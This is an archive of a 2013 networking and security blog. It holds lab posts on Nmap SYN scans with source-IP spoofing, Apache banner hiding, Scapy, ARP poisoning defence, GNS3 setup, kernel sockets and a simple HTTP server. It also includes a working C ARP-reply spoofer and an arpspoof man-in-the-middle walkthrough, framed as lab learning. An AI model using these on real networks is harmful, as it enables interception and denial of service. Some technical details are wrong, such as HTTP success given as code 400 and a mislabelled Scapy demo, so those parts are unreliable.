Tuesday, August 6, 2013

Nmap TCP-SYN scan results with Linux firewall - ufw


192.168.1.2 [root@bt]
BackTrack 5 R2 running on Oracle VM Virtual Box
Linux 3.2.6
Network adapter : Host-only Adapter
Nmap verion 5.61


192.168.1.1 
Linux Mint 12 - 3.0.0-12-generic
Network Adapter : Host-only Adapter (vboxnet0)
Firewall : Graphical user interface for ufw
Firewall Configuration : Deny All incoming from 192.168.1.2 to 192.168.1.1


Scan 1 : TCP-SYN scan 
Firewall OFF
root@bt:~# nmap -PN -sS -n 192.168.1.1
Result : 3 open ports discovered.


Scan 2 : TCP-SYN scan
Firewall ON
root@bt:~# nmap -PN -sS -n 192.168.1.1
Note : ARP works at a layer below IP, so IP address not involved in the filtering!!!
Result : All 1000 scanned ports filtered.


Scan 3 : TCP-SYN scan with fragmentation
Firewall ON
root@bt:~# nmap -PN -sS -f -n 192.168.1.1
Result : All 1000 scanned ports filtered.


Scan 4 : TCP-SYN scan for ports 23,139,445
Firewall ON
root@bt:~# nmap -PN -sS -p23,139,445 -n 192.168.1.1
Result : 3 ports filtered ports discovered.


Scan 5 : TCP-SYN scan with Source IP as 192.168.1.3
Firewall ON
root@bt:~# nmap -PN -sS -e eth6 -S 192.168.1.3 -n 192.168.1.1
Note:  No host with IP 192.168.1.3 exists on the network.
Here Nmap sends packets with the MAC Addr of 192.168.1.2
Result : 3 open ports discovered.







Saturday, August 3, 2013

Why and How to hide Server Information


This tutorial shows how to hide the server information displayed (example show left) at the footer of any server-generated document. We also look why it is important to hide such information.

How to hide
 The Apache version number and other information can be hidden by controlling two config directives.

 The ServerSignature directive adds a line containing the Apache HTTP Server server version and the ServerName to the footer of any server-generated documents, such as error messages, mod_proxy ftp directory listings, mod_info output, etc. The Off setting, which is the default, suppresses the footer line (and is therefore compatible with the behavior of Apache-1.2 and below). The On setting simply adds a line with the server version number and ServerName of the serving virtual host, and the Email setting additionally creates a "mailto:" reference to the ServerAdmin of the referenced document.

 Syntax:
ServerSignature On|Off|EMail

 The ServerTokens directive controls whether Server response header field which is sent back to clients includes a description of the generic OS-type of the server as well as information about compiled-in modules.

 Syntax:
ServerTokens Full (or not specified)
Example Footer: Apache/2.2.17 (Win32) PHP/5.3.5 Server at localhost Port 80
ServerTokens Prod
Example Footer: Apache Server at localhost Port 80
ServerTokens Major
Example Footer: Apache/2 Server at localhost Port 80
ServerTokens Minor
Example Footer: Apache/2.2 Server at localhost Port 80
ServerTokens Min
Example Footer: Apache/2.2.17 Server at localhost Port 80
ServerTokens OS
Example Footer: Apache/2.2.17 (Win32) Server at localhost Port 80

To complete remove the footer, open your httpd.conf file and append/modify config directive as follows:
ServerSignature Off

If you want a part of the information to be displayed:
     ServerSignature On
  ServerTokens [Major|Minor|Min|Prod|OS|Full]


Why hide
The first step when a hacker tries to crack into site/server is Footprinting and Reconnaissance (ie gather as such information as possible). This is done to select the right kind of  hacks from a millions of hacks either available freely on the web or developed by the hacker. Trying out each and every hacks would take years, so the attacker spend a large amount of time on gathering as such as possible. Things become easy for the attacker if server information is displayed when he/she simply types a worng URL !!



In the above, the attacker can search for vulnerablities in Apache,OpenSSL, or FrontPage
So far this year (Aug-2013), 2 OpenSSL and 5 Apache vulnerabilites have been made public.
List of publicaly availabe vulnerablities
OpenSSL 0.9.8 : http://www.cvedetails.com/version/26306/Openssl-Openssl-0.9.8.html
Apache 2.2.17 : http://www.cvedetails.com/version/109443/Apache-Http-Server-2.2.17.html

So always use the lastest version and apply patches ;)

Friday, August 2, 2013

Scapy - Packet Crafting

Prerequisite : Basic understanding of the networking protocols whose packets you would like to craft and also the network layers.

Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more. It can easily handle most classical tasks like scanning, trace routing  probing, unit tests, attacks or network discovery. It also performs very well at a lot of other specific tasks that most other tools can't handle, like sending invalid frames, injecting your own 802.11 frames, combining technics (VLAN hopping+ARP cache poisoning, VOIP decoding on WEP encrypted channel, ...), etc. 

It is written in the Python, and is pre-installed on Backtrack 4+. On Ubuntu it can be installed by:

sudo apt-get install scapy

To start Scapy, execute sudo scapy (if normal user) or just scapy (if root).

basic commands

ls() : displays list of supported protocols

ls(IP) Show the contents of the IP structure

lsc() : Displays list of available commands in Scapy. 

  Some of the important commands for sending & receiving packets : 
sr               : Send and receive packets at layer 3
sr1             : Send packets at layer 3 and return only the first answer
srp             : Send and receive packets at layer 2
srp1           : Send and receive packets at layer 2 and return only the first answer
srloop         : Send a packet at layer 3 in loop and print the answer each time
 

Demo 1 : ICMP request
 
Create 3 variables :  E for Ethernet, I for IP, icmp for ICMP
 
 >>>E=Ether()
 >>>I=IP()
 >>>icmp=ICMP()
 
To see the field for each protocol use : <var>.show()
ex : >>>I.show()
 
To set field variable for protocol use : <var>.<field>=value
ex: >>>I.src='192.168.0.1'
Note: Dont set values fields whose values are calculated based on the packet content
 For ex : chksum
 To see their calculated value use show2() instead of show()

Set the fields to the values as specified below
To send packet
>>>sr1p(E/I/icmp)
This sends and show the 1st packet recieved at Layer 2
Use wireshark to capture and analyze the packets. Here since the Ethernet fields are specified, no ARP is used. Just a ICMP request and reply is captured.


Demo 2 : TCP-SYN
Create 2 variables :  I for IP, T for TCP

 >>>I=IP()
 >>>T=TCP()
 
Set the fields to the values as specified below
To send packet
>>>sr1(E/I/icmp)

This sends at Layer 3 and show the 1st packet received 
Use wireshark to capture and analyze the packets. Here since the Ethernet fields are not specified, ARP is used. ARP request and reply along with ICMP request and reply are captured.

Thursday, August 1, 2013

Defense Against ARP Poisoning

Defense Against ARP Poisoning

The main reason why ARP Poisoning occurs is because the victim does not authenticate the ARP replies coming from a malicious user. As a result the ARP cache in the victim's PC contains invalid IP to MAC mapping and packet are sent to the attacker or dropped.

Defense in small networks

To view the current entries in the ARP table
   victim#arp

To add an entry in the ARP as static/permanent
   victim#arp -s <ip_Address> <MAC_address>
The ARP replies send by the attacker don't effect the static entries in the ARP. The ARP replies are recieved by the victim but they don't affect the statically entered ARP.

To delete an entry in the ARP table
  victim#arp -d <ip_address>

The mapping can be stored in a file and given as input to "arp" if there are too many entries.
Create a file with the entries in the following syntax
<MAC_ADDRESS> <IP_ADDRESS>
. .
. .
 
 victim#arp -f <file>

But the table is cleared everytime the system boot or the network is reset.


To make the entries load into table, everytime the network adapter is turned UP.
create a file in the /etc/network/if-up.d/ directory with the following syntax

#!/bin/sh
   arp -i eth0 -s <ip_address> <mac_address>
   .
   .

make it executable
  victim# chmod +x /etc/network/if-up.d/<file>
comes to effect only after reboot.

Also if you dont want to accept ARP replies from anyone.

  victim# echo 0 > /proc/sys/net/ipv4/conf/all/arp_accept


Wednesday, July 31, 2013

ARP Reply Spoof - C code

ARP Reply Spoof- C code



'ARP SPOOFING - VBox+GNS3 test ' contains introduction to ARP, its working and ARP Spoofing. To understand this post it is recommended that you have a basic idea about these topics.

In the code given below we broadcast ARP reply in the interface specified. The interface, source ip address and source MAC address are given as parameter to the program. The destination MAC id is set to all 1s for broadcasting. The ARP reply is broadcasted regularly using sleep() so that the original ARP reply is not cached in the target systems ARP table.


Applications of ARP Spoofing

  • Denial of ServiceThe hacker can broadcast ARP Reply whose source IP is that of a router/gateway and a false source MAC id. Now when a host tries to send a packet to the router/gateway, it is dropped and the hacker has cut off the network from the other side of the gateway (internet).
  • Man-in-the-middleHere the attacker sends ARP reply to the victim-1 stating that it is the victim-2. Also ARP reply is send to victim-2 stating that the attacker is the victim-1. The packet forwarding feature is enabled in the attacker so that all packets between the victim-1 and victim-2 passes through it.

ARP Packet


Ethernet Packet


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <signal.h>
#include <sys/socket.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include <netinet/if_ether.h>

int sock;

#define PACKET_LEN sizeof(struct ether_header) + sizeof(struct ether_arp)

void close_sock()
{
  close(sock);
  exit(0);
}

int main(int argc, char ** argv)
{
 char packet[PACKET_LEN];
 struct sockaddr_ll device;
 struct ether_header * eth = (struct ether_header *) packet;
 struct ether_arp * arp = (struct ether_arp *) (packet + sizeof(struct ether_header));
 
 if (argc < 4) 
 {
    puts("Usage: ./a.out <interface> <source ip address> <source mac address>");
  exit(1);
 }

 sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));
 if (sock < 0)
   perror("socket"), exit(1);

 signal(SIGINT, close_sock);


  //Source Hardware Address : ARP Packet
  sscanf(argv[3], "%x:%x:%x:%x:%x:%x",  (unsigned int *) &arp->arp_sha[0],
(unsigned int *) &arp->arp_sha[1],
(unsigned int *) &arp->arp_sha[2],
(unsigned int *) &arp->arp_sha[3],
(unsigned int *) &arp->arp_sha[4],
(unsigned int *) &arp->arp_sha[5]);

  //Source Protocol Address : ARP Packet
  sscanf(argv[2], "%d.%d.%d.%d", (int *) &arp->arp_spa[0],
                         (int *) &arp->arp_spa[1],
                         (int *) &arp->arp_spa[2],
                         (int *) &arp->arp_spa[3]);

 //Ethernet Packet
 memset(eth->ether_dhost, 0xff, ETH_ALEN); //destination address : broadcast address
 memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN); //source address
 eth->ether_type = htons(ETH_P_ARP); //type

 //ARP Packet
 arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER); //Format of hardware address
 arp->ea_hdr.ar_pro = htons(ETH_P_IP); //Format of protocol address.
 arp->ea_hdr.ar_hln = ETH_ALEN; //Length of hardware address.
 arp->ea_hdr.ar_pln = 4; //Length of protocol address.
 arp->ea_hdr.ar_op = htons(ARPOP_REPLY); //ARP operation : REPLY
 memset(arp->arp_tha, 0xff, ETH_ALEN); //Target hardware address.
 memset(arp->arp_tpa, 0x00, 4); //Target protocol address.

 memset(&device, 0, sizeof(device));
 device.sll_ifindex = if_nametoindex(argv[1]); //Interface number
 device.sll_family = AF_PACKET;
 memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN); //Physical layer address
 device.sll_halen = htons(ETH_ALEN); //Length of address

 printf("Press Ctrl+C to stop \n");
 while (1) {
   printf("Broadcasting on %s: %s is at %s\n", argv[1], argv[2], argv[3]);
   sendto(sock, packet, PACKET_LEN, 0, (struct sockaddr *) &device, sizeof(device));
   sleep(2);
 }
 return 0;
}





Adding VirtualBox Guest to GNS3

Adding VirtualBox Guest to GNS3

1. Install GNS3 and VirtualBox

2. Add a 'Host-only Network' to VirtualBox Manager
File>Preferences>Network
Click the 'Add host only network' button (right side)
A 'vboxnet0' network appears in the list

3. Add a guest OS to VirtualBox

4. Add guestOS to host-only network
Right the newly added guestOS inthe VBox manager
Settings>Networks>Adapter1
Check 'Enable Network Adapter'
Select 'Host-only adapter' in 'Attached To:'
Select 'vboxnet0' in 'Name:'
Under 'Advanced' section uncheck 'Cable connected'
Note down the MAC address


5. Selecting VBoxwrapper in GNS3
GNS3 : Edit>Preferences>VirtualBox>General Settings>Path to VBoxwrapper
Locate the 'vboxwrapper.py' in the 'vboxwrapper/'
Click 'Test Settings'
If 'VBoxwrapper and VirtualBox API 4.1.2_Ubuntu have been successfully started' then its OK

6. Selecting the guestOS in GNS3
GNS3 : Edit>Preferences>VirtualBox>VirtualBox Guest
Click 'Refresh VM List'
From the 'VM List', select the guestOS and give it an 'Identifier name'
Click 'Save' , the Id Name appears in the list below 'Save'
Click 'Apply' and 'OK'

7. Adding VirtualBox guest to GNS3
Drag and drop 'VirtualBox guest' to the central panel

8. Adding Router to GNS3 and Setup an interface 
Drag and drop a Router from the left panel to the central panel
(Note: You should have loaded the particular Routers IOS image in GNS3
              See 'GNS3 non superuser setup' on how to add IOS images
)

9. Connecting Router and guestOS
Click 'Add a Link' and Select 'Ethernet'
In the central Panel, Left Click the Router and then guestOS (select an adapter if asked)
Click the '(X)' to stop adding links
A link appears between the guestOS and Router (in the central panel)
Red dots appear at both the ends of the links


10. Configuring the router 
Right and click 'Start' on the Router in the central panel
Red dot near the Router turns green
Right and click 'Console' the Router in the central panel
In the terminal window that appear
Wait for it to boot (press Enter when asked to get started)
( This not the best way to learn to configure a router.Refer some Cisco or CCNA materials.
     I learned it from CCNA book by Todd Lammle.
)

R3#configure terminal
R3(config)#interface ethernet 0/0
R3(config-if)#ip address 192.168.1.1 255.255.255.0
R3(config-if)#no shutdown
R3(config-if)# [[Ctrl+C]]
R3#copy running-config startup-config
[Enter]
[Enter]
R3#Exit
Close the terminal window

11. Configuring guestOS
Right and click 'Start' on the guestOS in the central panel
Red dot near the guestOS turns green
After booting, Login and start a terminal

guestOS# ifconfig -a
 from the list that appears find the ethernet number (eg : eth3) of the adapter whose 
 HWaddr is same as the MAC address we noted down in step 4.
guestOS# ifconfig eth3 192.168.1.2 up
 'eth3' is the adapter in my case, can be different in yours
guestOS# ping 192.168.1.1

if ping worked then SUCCESS
(Note : while building larger networks add default gateway as 192.168.1.1 to the guestOS's adapter)

12. Save the topology setup. 

ARP SPOOFING - VBox+GNS3 test

ARP SPOOFING - VBox+GNS3 test

Address Resolution Protocol (ARP) is a protocol used for resolution of network layer addresses (IP address) into link layer addresses (MAC address). ARP was defined by RFC 826 in 1982. It is a request and reply protocol and used only within the boundaries of a single network, never across internetwork nodes.

ARP works on Ethernet networks as follows
When any device wishes to send data to another target device over Ethernet, it must first determine the MAC address of that target given its IP address These IP-to-MAC address mappings are derived from an ARP cache maintained on each device. If the given IP address does not appear in a device's cache, that device cannot direct messages to that target until it obtains a new mapping. To do this, the initiating device first sends an ARP request broadcast message on the local subnet. The host with the given IP address sends an ARP reply in response to the broadcat, allowing the initiating device to update its cache and proceed to deliver messages directly to the target. ARP does not provide methods for authenticating ARP replies on a network, ARP replies can come from systems other than the one with the required Layer 2 address.

In ARP spoofing the answering system, or spoofer, replies to a request for another system's address with the aim of intercepting data bound for that system. A malicious user may use ARP spoofing to perform a man-in-the-middle or denial-of-service attack on other users on the network.

Here in this tutorial we are trying a man-in-the-middle attack where we send ARP reply to the router from the attacker stating that it is the victim.Also ARP reply is send to victim stating that the attacker is the router.

Setup a network with at least 2 host connected to a Ethernet switch. This switch is connected to a router. The network I used is shown below.

Network Simulation Software : GNS3


R1 :             Cisco 3620 Router| 192.168.1.1
BT5R2 :          BackTrack 5 R2 | 192.168.1.2 | MAC_ID_1 | Attacker
Mint 12 :             Linux Mint 12  | 192.168.1.3 | MAC_ID_2 | Victim

BT5R2
terminal#1 @ BT5R2
BT5R2# arpspoof -i eth2 -t 192.168.1.1 192.168.1.3 
This sends ARP reply to R1 stating that BT5R2 is 192.168.1.3
so R1 saves MAC_ID_1 as the MAC ID of 192.168.1.3
This is reply is send regularly so dont close this process

terminal#2 @ BT5R2
BT5R2# arpspoof -i eth2 -t 192.168.1.3 192.168.1.1
This sends ARP reply to Mint 12 stating that BT5R2 is 192.168.1.1
so Mint 12 saves MAC_ID_1 as the MAC ID of 192.168.1.1
This is reply is send regularly so dont close this process

terminal#3 @ BT5R2
BT5R2# echo 1 > /proc/sys/net/ipv4/ip_forward
Enable IP forwarding
BT5R2# wireshark & 
So that you can capture the packets for verification


Mint 12
Mint12# ping 192.168.1.1
ping R1, check wireshark @ BT5R2 for 'Redirect' packets.
Those packets will be highlighted in Black.

R1
To check R1 ARP mapping 
R1#show arp




Wednesday, June 26, 2013

GNS3 non superuser setup

GNS3 non superuser setup

What is GNS3 ? Who can use it ?   
    http://www.gns3.net/

The video-tutorial section under site has a tutorial on how to setup GNS3 in linux at /opt/ through sudo (superuser). But I had some issues while I tried to setup VirtualBox along with it to Link guest PCs. So tried installing it as non superuser, here is how I did it

GNS3 non superuser setup


>Download gns3 and dynamips
    gns3(tar.bz2) : http://www.gns3.net/download/
    dynamips(bin) : http://www.gns3.net/dynamips/

>Unzip gns3 to a folder, say GNS3/
  (I did it in a dir in /home/melwin/Downloads)

>Move dynamips to GNS3/

>Make dynamips executable
    chmod +x dynamips-0.2.8-RC3-community-x86.bin

>Run GNS3/gns3.pyw (either from terminal or GUI)

>Enter Project Name. Change Project Dir location if required

>Locate dynamips
    Edit>Preference>Dynamips>Settings>Executable path to Dynamips
    Locate the .bin that we justed moved to GNS3/
    To test click "Test Settings"
        If "Dynamips 0.2.8-RC3 successfully started" message then OK

>Locate IOS dir
    Edit>Preference>General>General Settings[tab]>Paths>OS images
    Locate the Cisco IOS image directory

>Locate project dir [if not during startup]
    Edit>Preference>General>General Settings[tab]>Paths>Project Directory
    Locate the project directory

>Add IOS images
    Edit>IOS images and hypervisiors>IOS Images[tab]>Settings>Image file
    Locate the Cisco IOS image file (.bin)
    If asked for uncompression, allow
    Select Platform and Model based on the IOS image
    Click Save
        There will be a "waring:IDLE PC will have to be configured" we will get there
    Click Close
    (    My Image : c7200-adventerprisek9-mz.124-2.T2.bin
        so platform:c7200 and model:7200
    )

>Drag-drop router
    From the left panel drag and drop the router whose image has been uploaded
    Right click the router (in the middle panel) and click start to start the router

>Select Idle PC value
    Check CPU History, if any of your CPU has high utilization then IDLE PC value has to been configured
    Right the running router and click "IDLE-PC"
    Wait for GNS3 to calculate and show the list of IDLE PC value(s)
    Select the IDLE-PC value that has a * with it.
    If * not present on any value, select the one with minimum value within the []
    Check CPU History, if CPU utilization drops then OK else repeat these steps.

>Save topology
    File>Save or Save As
    Located the topology.net file in the Project Dir if asked

Since we have installed GNS3 as non-superuser, an error("Can't start dynamips at 127.0.0.1 port 7200") might occur. In this case, you will have to locate and test the dynamips everytime you start GNS3.

Tuesday, April 30, 2013

Network Programming in the Kernel


Prerequisites : Socket and Module programming

Advantage of implementing application within the kernel : 
  • The overhead associated with user-space/kernel-space transition can be avoided by implementing the application completely in the Kernel Space .
  • In specific research and high-performance computing environments, there is a need for achieving data transfers at great speeds. Kernel applications find use in such situations.
Disadvantages:
  • Security is a primary concern within the kernel, since kernel process run with unlimited privileges.Consequently, special care needs to be taken while designing in-kernel applications.
  • Large applications cannot be implemented in the kernel due to memory constraints.
  • Every kernel needs a specific implementation route.
  • Failure in the web server may cause the OS to crash.



/*  
 * Called when a process writes to dev file
 * Stores the string written to the device in
 * local buffer and sends the string using
 * SOCK_STREAM to 127.0.0.1:2001
 */
static ssize_t
device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
{
int ret; //return value
int k,leng;
struct sockaddr_in server;
struct socket *soc=NULL;
struct iovec iov;
struct msghdr msgh;
mm_segment_t oldmm;
printk(KERN_INFO "[device_write]File opened for writing\n");

ret=copy_from_user(msg,buff,80);
//buff : buffer that accepts the string from 
// the program that issued a write.
// Points to user area memory
//msg  : kernel/module space that hold the 
// value written.
msgh.msg_name     = 0;
msgh.msg_namelen  = 0;
// Socket address members msg_name and msg_namelen.
// Required only when your socket is a datagram socket.
// msg_name member points to the socket address that 
// you are sending to or receiving from.

    msgh.msg_iov      = &iov;
    msgh.msg_iovlen   = 1;
// I/O vector references msg_iov and msg_iovlen.
// msg_iov member points to the struct iovec array.
// msg_iovlen indicates how many elements are in your 
// I/O vector array 

    msgh.msg_control  = NULL;
    msgh.msg_controllen = 0;
// Ancillary data buffer members msg_control    
// and msg_controllen. Used to pass protocol-specific 
// control messages. No control messages for TCP.

    msgh.msg_flags    = MSG_DONTWAIT;
// Received message flag bits msg_flags.
// MSG_DONTWAIT prevents the system call from blocking if, 
// for example, there are no data to be received.

    oldmm = get_fs();
    set_fs(KERNEL_DS);
// get_fs returns the current segment descriptor stored in FS.
// set_fs stores a descriptor into FS, so it will be used for 
//  data transfer instructions.

    msgh.msg_iov->iov_len = 80;
    msgh.msg_iov->iov_base = (char *) msg;

    printk(KERN_INFO "[chardev:device_write] msg : %s\n",msg);

    k=sock_create(PF_INET,SOCK_STREAM,IPPROTO_TCP,&soc);
    memset(&server,0,sizeof(server));
    server.sin_family=AF_INET;
    server.sin_port=2001;
    server.sin_addr.s_addr=inet_addr("127.0.0.1");
    k=soc->ops->connect(soc,(struct sockaddr *)&server,sizeof(server),O_RDWR);
    if(k!=-1) printk(KERN_INFO"[device_write] connect() OK. Next sock_sendmsg().\n");
    else printk(KERN_INFO"[device_write] connect() FAILED. Next sock_sendmsg().\n");
    leng = sock_sendmsg(soc, &msgh, 80);
//msg length 80
    if(leng) printk(KERN_INFO"[device_write] sock_sendmsg() OK. Next close().\n");
    else printk(KERN_INFO"[device_write] sock_sendmsg() FAILED. Next close().\n");
    sock_release(soc);

return ret;
}

Further Reading :
 In-Kernel Web Sever

 kHTTPd

Saturday, January 26, 2013

Simple HTTP Server Programming



Simple HTTP Server

Prerequisites : Socket and thread programming

HTTP is a protocol used for communication between a browser and a web server.

How HTTP works : When you type in  a URL in the browser and click GO the browser extracts the host-name section and uses DNS to obtain the IP address of the web server that host the web site. The browser then uses this IP address to form a TCP connection to the web server. The browser sends HTTP request to retrieve a specific page. If the page exist the server responds by sending the copy of the page in the HTTP response (response code - 400). If the file doesn't exists in the server, the server send  HTTP response containing a response code 404 (Not Found Error Message).


HTTP Request

  The request message syntax:
  • Request line, for eg :  GET /images/logo.png HTTP/1.1
  • Headers
  • An empty line.
  • An optional message body.
  Example of a simple HTTP request:
    GET / HTTP/1.1
    Host: 127.0.0.1:2003

Explanation:
Line 1 : "GET" indicates the request method used . Other methods are PUT, POST etc
     "/" indicates the requested page, here its the root page i.e index.html
     "HTTP/1.1" version of HTTP used
Line 2 : "HOST" host to which request is send
"127.0.0.1" IP address of host
"2003" is the port used

More about HTTP request and headers can be found at
http://en.wikipedia.org/wiki/HTTP_request


HTTP Response
The response message consists of the following:
  • A Status-Line
  • Headers
  • An empty line
  • An optional message body
Example:
HTTP/1.1 200 OK
  Content-type: text/html
<html>
<head></head>
<body>
 <h1>Header</h1>
 <p>Congrats !! your HTTP server is working.</p>
</body>
</html>

Explanation :
Line 1 : "HTTP/1.1" HTTP version used
"200" status code
"OK" description of status code
Line 2 : "Content-type: text/html" indicates type of the file.
Line 3 : HTML code of the page

More about HTTP response and headers
http://en.wikipedia.org/wiki/HTTP_response

HTTP status code
                http://en.wikipedia.org/wiki/List_of_HTTP_status_codes




/*------------------------------Simple HTTP Server----------------------------*/


#include<sys/socket.h>
#include<sys/stat.h>  
#include<sys/types.h>  
#include<netinet/in.h>
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<pthread.h>
#include <netdb.h>

#define BUFF_LEN 1028

pthread_t c;

/* HTTP response and header for a successful request.  */
static char* ok_response =
  "HTTP/1.1 200 OK\n"
  "Content-type: text/html\n"
  "\n"
  "<html>\n"
  "<head></head>\n"
  " <body>\n"
  "  <h1>Header</h1>\n"
  "  <p>Congrats !! your HTTP server is working.</p>\n"
  " </body>\n"
  "</html>\n";

void * serve_client(int tsd)
{
int k;
char buff[BUFF_LEN]; //used to store the HTTP request
printf("[Server : %d].\n",tsd);
k=recv(tsd,buff,BUFF_LEN,0);
if(k==-1)
printf("[Server : %d] recv() failed.\n",tsd);
else printf("[Server : %d] recv() OK .\n",tsd);

// Printing the HTTP request recieved
printf("[Server : %d] Recieved : %s\n",tsd,buff);

/* Actual HTTP server does some processing and responds accordingly.
* Here I have just send a HTTP response.
*/

//Sending the HTTP response
write (tsd, ok_response, strlen (ok_response));

close(tsd);
printf("[Server : %d] going to pthread_exit().\n\n",tsd);
pthread_exit(NULL);
}


int main(int argc,char *argv[])
{ char buff[100];
int k;
socklen_t len;
int sock_desc,temp_sock_desc;
short port;
struct sockaddr_in server,client;

printf("[Server] Start . Next memset()\n");
memset(&server,0,sizeof(server));
memset(&client,0,sizeof(client));

printf("[Server] memset() OK . Next socket()\n");
sock_desc=socket(AF_INET,SOCK_STREAM,0);
printf("[Server] socket() OK . Next bind()\n");
server.sin_family=AF_INET;
server.sin_addr.s_addr=INADDR_ANY;
port = (argc > 1) ? atoi(argv[1]) : 3001; //default port : 3001
server.sin_port=htons(port);

k=bind(sock_desc,(struct sockaddr*)&server,sizeof(server));
if(k==-1)
printf("[Server] bind() failed.\n");
else printf("[Server] bind() OK . Next listen()\n");

k=listen(sock_desc,10);
if(k==-1)
printf("[Server] listen() failed.\n");
else printf("[Server] listen() OK . Next accept()\n");

len=sizeof(client);

while(1)
{
temp_sock_desc=accept(sock_desc,(struct sockaddr*)&client,&len);
printf("\n[Server] accept() OK .\n");

printf("[Server] Client IP : %s.\n",(char*)inet_ntoa(client.sin_addr));
printf("[Server] sock_desc : %d.\n",sock_desc);
printf("[Server] temp_sock_desc : %d.\n",temp_sock_desc);

/*
* Start a thread to server each client.
*/
pthread_create( &c,NULL,(void *)serve_client, (int *) temp_sock_desc);

}

close(temp_sock_desc);
close(sock_desc);
exit(0);
return 0;
}

/*------------------------------End Of Program----------------------------*/



Working :

This programs waits for a client to connect and then starts a thread to serve the client.
This thread recieves a message(HTTP request) from the client and sends a HTTP response
to the client.

A real HTTP server does more than this. It includes

  • checking if the requested file exist and send response accordingly.
  • Integration of Server side scripting languages like PHP,ASP,JSP.etc
  • status code based actions
  • caching
  • and so on


By parsing through the HTTP request the requirements of the client can be understood and
required output can be generated.


Compiling and running :

  1. Copy the code and paste it in a file,say "server.c"
  2. compile : gcc server.c -lpthread
  3. run : ./a.out 2001
  4. In browser : http://127.0.0.1:2001/